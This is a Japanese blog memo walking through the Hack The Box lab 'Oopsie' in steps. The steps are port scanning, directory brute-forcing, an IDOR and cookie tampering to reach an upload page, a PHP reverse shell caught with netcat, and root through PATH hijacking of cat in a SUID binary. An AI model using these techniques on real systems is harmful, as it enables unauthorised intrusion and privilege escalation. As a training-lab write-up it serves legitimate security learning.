ただのメモです

Writeupなら他のブログ見たほうがいいと思います.

Oopsie -Starting Point- Writeup

 まずnmapでサービスを調べます。

 nmap -sC -sV 10.10.10.28

また他のポートもopenである可能性があるので全ポート検索します。とても時間がかかるので別の調査と並行してやるのをおすすめします。

 nmap -sC -sV -A -p- 10.10.10.28

結果が

f:id:F-Ryu:20210525211354p:plain

f:id:F-Ryu:20210525211414p:plain

 sshとWebサーバーがopenしてますね。対象のサイトにアクセスしてみると、自動車会社(?)のようなサイトでした。Ctrl+U(curlでも可)でソースコードを見ても重要そうな情報はありません。下にスクロールすると

f:id:F-Ryu:20210526075134p:plain

 ログインしてくださいと書いてありますが、ログイン画面が見当たりません。

 もう少し情報を集めてみましょう。gobusterとniktoを使います。

 gobusterはWebサーバーにブルートフォースを実行し対処のURIサブドメインを見つけるツールです。common.txtは自分のディレクトリに置き換えてください。

 gobuster dir -u http://10.10.10.28/ -w /usr/share/dirb/wordlists/common.txt

github.com

f:id:F-Ryu:20210525213214p:plain

 index.php(対象のサイト)のみアクセスできるようです。

 次にniktoを使います。niktoは対象の脆弱性をリストアップしてくれます。

 nikto -h http://10.10.10.28

f:id:F-Ryu:20210525213543p:plain

 下から3行目cdn-cgi/loginがあります。

f:id:F-Ryu:20210526224420p:plain

こちらはburpsuiteです。同様にcdn-cgi/loginが確認できます。

loginページにアクセスしてみましょう。

f:id:F-Ryu:20210526075912p:plain

 次にパスワードですが、ここで詰まりました。ありがちなパスワード(admin/passwd)を試してもログインできません.。

 ここで断念して公式のwriteupを確認してみると前回のArchetypeのパスワードMEGACORP_4dm1n!!でログインできるようです。下部のメールアドレスがヒントでしょうか?

 ともあれadmin/MEGACORP_4am1n!!でログインが成功しました。ソースコードには情報なし、サイトを見回ってみると

f:id:F-Ryu:20210526080431p:plain

 upload機能は制限されておりsuper_adminユーザーではないことがわかります。

f:id:F-Ryu:20210526080409p:plain

accountページから現在のアカウントを確認できました。Access IDは認証辺りで使っている可能性がありそうです。試しにBurp Suiteでリクエストをのぞいてみましょう。

f:id:F-Ryu:20210526233910p:plain

Cookieを見てみると先ほどのページのAccount IDと現在の権限が確認できます。つまりsuper adminのAccount IDが分かればuploadのページにアクセスできそうです。

 ここでaccountのURLに注目すると

 http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1

このidの値を順に変えてみるとid=4で別ユーザーのアカウントが出てきました。

f:id:F-Ryu:20210526224102p:plainさらに番号を変えていけばsuper adminにたどり着けるかもしれません。しかし手動でやるのはあまりにも面倒です。そこでburpsuiteのintruderを使います。 

 

f:id:F-Ryu:20210526233528p:plain

 intruderのidを変更したいのでaccounts,34322,adminの$を取ります。次にpayloadを開いて次のように設定し、start attackを押します。(公式では1~100の番号をtxtに保存しそれを読み込ませることで入力しています)

f:id:F-Ryu:20210531193913p:plain


すべてStatus200がでますがAccountページだけサイズが違うので判別は容易です。id=30を見ると86575がsuper adminのIDだとわかります。

f:id:F-Ryu:20210526235256p:plain

 これでuploadのページにアクセスできます。burpsuiteからuploadsのリクエストを開き、cookieに先ほどのアカウントIDを入力してみると

f:id:F-Ryu:20210526235956p:plain

f:id:F-Ryu:20210527000007p:plain

成功です!

 これでphpリバースシェルをアップロードし、そのページにアクセスすることでリバースシェルが得られるはずです。リバースシェルはkaliやparrotであれば/usr/share辺りにあります。

 reverseshellを自分のipアドレスに変更、ポートをリバースシェルをリッスンするものに変更してアップロードします。

f:id:F-Ryu:20210531194027p:plain


またアップロードする際、クッキーが元のadminに戻ってしまうのでsuper adminの値に変えてからアップロードしてください。

f:id:F-Ryu:20210531122019p:plain

 アップロード先はgobusterで見つけたuploadsフォルダなので

  sudo nc -lvnp 1234

 その後

  curl http://10.10.10.28/uploads/php-reverse-shell.php

 とすると

f:id:F-Ryu:20210531122712p:plain

 成功しました!

まずはサイトにデータがないか探ってみましょう。/var/www/htmlにサイトのデータがあります。loginを見てみるとdb.phpというファイルがあります。試しにcatで開いてみると

f:id:F-Ryu:20210531123650p:plain

別ユーザーの名前とパスワードが見つかりました。suで切り替えができますが、以下のメッセージが出て切り替えができません。

f:id:F-Ryu:20210531192203p:plain

 つまり対話型シェルを作成する必要があります。(なおこのパスワードを利用してsshで接続できるので面倒な場合はその方法でも可)。

 SHELL=/bin/bash script -q /dev/nullの後Ctrl-Zで一度ncをバックグラウンドにします。stty raw -echoの後入力が見えなくなりますがfgと打ちreset、次にシェルの種類を聞かれるのでxtermとすると

f:id:F-Ryu:20210531200509p:plain

f:id:F-Ryu:20210531200812p:plain

まずはsuでユーザーを切り替えidで権限を見てみます。すると

f:id:F-Ryu:20210531201214p:plain

bugtrackerというグループが気になりますね。bugtrackerを探して実行してみるとidの入力が求められます。試しに適当な数字を打つと

f:id:F-Ryu:20210531201517p:plain

どうやら入力したIDで何かしらの出力が出るようです。試しに100を入力すると

f:id:F-Ryu:20210531201733p:plain

 catと出ていますね。つまりcatと入力したIDを利用してrobertの権限ではアクセスできないレポートを表示していると考えられます。ここから以下2通りの方法があります。

①入力でとる

 hack the boxのルートにあるフラグはroot.txtの形式になっています。つまり入力でroot.txtを参照するコマンド../root.txtを入力すればフラグが表示されます。

 

②catを悪用する

 bugtrackerはcat /rootを参照できる、つまりroot権限を持っています。また実装もcatを直接利用するものなので悪意のあるcatコマンドを作成すればいけそうです。

f:id:F-Ryu:20210531203721p:plain

 まずexport PATH=/tmp:$PATHでコマンドを実行する際tmpを参照するよう設定します。次に/tmpファイルにbashを実行するように設定したcatコマンドを作成します。

f:id:F-Ryu:20210531204803p:plain

最後にchmod +x catで実行権限を与えbugtrackerで実行すると

f:id:F-Ryu:20210531204841p:plain

root権限が得られました!ちなみにroot.txtはcatできないので(自作したcatが先に実行されるため)moreやlessで確認できます。